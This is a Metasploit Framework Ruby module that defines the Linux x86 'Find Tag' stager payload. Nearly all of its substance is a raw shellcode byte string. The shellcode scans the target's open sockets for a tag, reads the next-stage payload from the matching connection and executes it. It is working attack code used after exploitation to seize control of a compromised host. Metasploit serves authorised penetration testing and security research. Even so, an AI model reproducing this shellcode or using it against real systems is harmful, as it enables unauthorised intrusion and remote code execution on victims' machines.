##
# $Id: find_tag.rb 4571 2007-03-25 23:35:45Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'
require 'msf/core/handler/find_tag'

module Msf
module Payloads
module Stagers
module Linux
module X86

###
#
# FindTag
# -------
#
# Linux find tag stager.
#
###
module FindTag

	include Msf::Payload::Stager

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'Find Tag Stager',
			'Version'       => '$Revision: 4571 $',
			'Description'   => 'Use an established connection',
			'Author'        => 'skape',
			'License'       => MSF_LICENSE,
			'Platform'      => 'linux',
			'Arch'          => ARCH_X86,
			'Handler'       => Msf::Handler::FindTag,
			'Stager'        =>
				{
					'Offsets' =>
						{
							'TAG' => [ 0x1a, 'RAW' ],
						},
					'Payload' =>
						"\x31\xdb\x53\x89\xe6\x6a\x40\xb7\x0a\x53\x56\x53\x89\xe1\x86\xfb" +
						"\x66\xff\x01\x6a\x66\x58\xcd\x80\x81\x3e\x6d\x73\x66\x21\x75\xf0" +
						"\x5f\xfc\xad\xff\xe6"
				}
			))
	end

end

end end end end end
